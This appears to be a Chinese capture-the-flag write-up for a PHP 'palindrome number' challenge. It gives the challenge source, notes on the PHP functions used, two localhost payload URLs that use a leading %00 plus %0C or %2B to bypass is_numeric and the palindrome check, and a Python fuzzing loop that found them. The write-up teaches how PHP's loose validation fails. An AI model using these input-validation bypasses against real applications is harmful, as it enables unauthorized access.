目录
Ox1 源码
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!"); //die — 等同于 exit()
}
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
//回文检测函数
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
Ox2 函数注解
01 addslashes()
addslashes ( string $str ) : string
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(**)与 NUL(NULL 字符)。
02 strval()
strval ( mixed $var ) : string
返回 var 的 string 值。 var 可以是任何标量类型。不能将 strval() 用于数组或对象。
03 ini_set()
ini_set ( string $varname , string $newvalue ) : string
设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。
04 intval()
intval ( mixed $var [, int $base = 10 ] ) : int
通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
05 strrev()
strrev ( string $string ) : string
返回 string 反转后的字符串。
Ox3 payload
http://127.0.0.1/Php_Bug/02.php?number=%00%0c191
http://127.0.0.1/Php_Bug/02.php?number=%00%2B191
Ox4 我的理解与分析
01 逻辑分析
- !is_numeric($_REQUEST['number'])
- $req['number']==strval(intval($req['number']))
- intval($req['number']) == intval(strrev($req['number']))
- !is_palindrome_number($req["number"])
- get flag
条件4需要加字符但是加了之后需要满足2,3这两个条件所以就可以在原题目中简化出2,3,4来进行Fuzzing
02 fuzzing过程
后端逻辑代码:
<?php
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
$a = trim($_GET['number']);
$flag=($a==strval(intval($a)))&(intval($a)==intval(strrev($a)))&!is_palindrome_number($a);
if($flag==1){
echo "1";
}
?>
fuzzing代码:
import requests
'''
02php的fuzz代码
'''
for i in range(256):
rq = requests.get("http://127.0.0.1/test/02.php?number=%s191"%("%%%02X"%i))
if '1' in rq.text:
print("%%%02X"%i)
'''
output:
其实url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”
%0C (换页键)
%2B (+)
'''
Ox5 总结
01 is_numeric($_REQUEST['number'])绕过
这个绕过的方法很多使用%00开头
(对应的字符是null,空字符)也可以再POST一个number参数把GET中的覆盖掉也可以
02 正好引起的判断问题
%2B就是加号,它的回文检测函数是基于字符的正逆向检测,会受到“+”的干扰。
03逻辑fuzz
从代码从简化出我们需要fuzz的逻辑部分代码,构造自己的后台逻辑代码。
确定我们的fuzz域。
遍历式的检测。
Ox6 Ref
感谢"git主"(滑稽)地整理:github地址
感谢官网助攻:官网手册